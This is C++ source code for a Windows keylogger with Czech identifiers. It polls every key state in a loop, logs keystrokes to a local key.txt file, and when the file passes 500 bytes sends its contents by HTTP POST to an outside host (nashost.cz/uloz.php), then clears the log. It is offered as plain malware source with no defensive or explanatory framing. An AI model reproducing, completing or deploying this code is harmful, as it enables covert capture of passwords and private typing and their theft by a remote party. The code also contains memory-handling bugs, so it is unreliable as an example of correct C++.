| code::
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
#include <string>
#define BUFSIZE 1000
using namespace std;
void posli(string co)
{
WORD wVersionRequested = MAKEWORD(1,1);
WSADATA data;
string text, adresa;
hostent *host;
sockaddr_in serverSock;
int mySocket;
int port;
port = 80;
text = ("POST /uloz.php HTTP/1.1\nHost: nashost.cz\n\nposli=") + co + ("\n\n");
WSAStartup(wVersionRequested, &data);
host = gethostbyname("nashost.cz");
mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serverSock.sin_family = AF_INET;
serverSock.sin_port = htons(port);
memcpy(&(serverSock.sin_addr), host->h_addr, host->h_length);
connect(mySocket, (sockaddr *)&serverSock, sizeof(serverSock));
send(mySocket, text.c_str(), text.size() + 1, 0);
closesocket(mySocket);
WSACleanup();
}
string vkctostring(int key){
string vysledek("");
if (key == 13)vysledek = "\n";
if (key == VK_CAPITAL)vysledek = "[Caps]";
if (key == VK_TAB)vysledek = "[TAB]";
if (key == VK_PAUSE)vysledek = "[PAUSE]";
if (key == VK_ESCAPE)vysledek = "[ESC]";
if (key == VK_END)vysledek = "[END]";
if (key == VK_HOME)vysledek = "[HOME]";
if (key == VK_LEFT)vysledek = "[LEFT]";
if (key == VK_UP)vysledek = "[UP]";
if (key == VK_RIGHT)vysledek = "[RIGHT]";
if (key == VK_DOWN)vysledek = "[DOWN]";
if (key == VK_SNAPSHOT)vysledek = "[PRINT]";
if (key == VK_NUMLOCK)vysledek = "[NUM LOCK]";
if (vysledek == "") vysledek = MapVirtualKey(key,2);
return vysledek;
}
void klavesa(int key){
short size;
char* buffer;
BYTE smaz(0);
ifstream in(".\\key.txt",ios::ate);
size = in.tellg();
if(size>=500){
buffer = new char [size];
in.read (buffer,size);
posli(buffer);
smaz = 1;
}
delete[] buffer;
in.close();
if(smaz){
ofstream del(".\\key.txt");
del.close();
}
ofstream out(".\\key.txt",ios::app);
out << vkctostring(key);
out.close();
}
int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show)
{
int key;
while(1){
for(key=8;key<=190;key++){
if (GetAsyncKeyState(key) == -32767)klavesa(key);
}
}
return (0);
}
|
|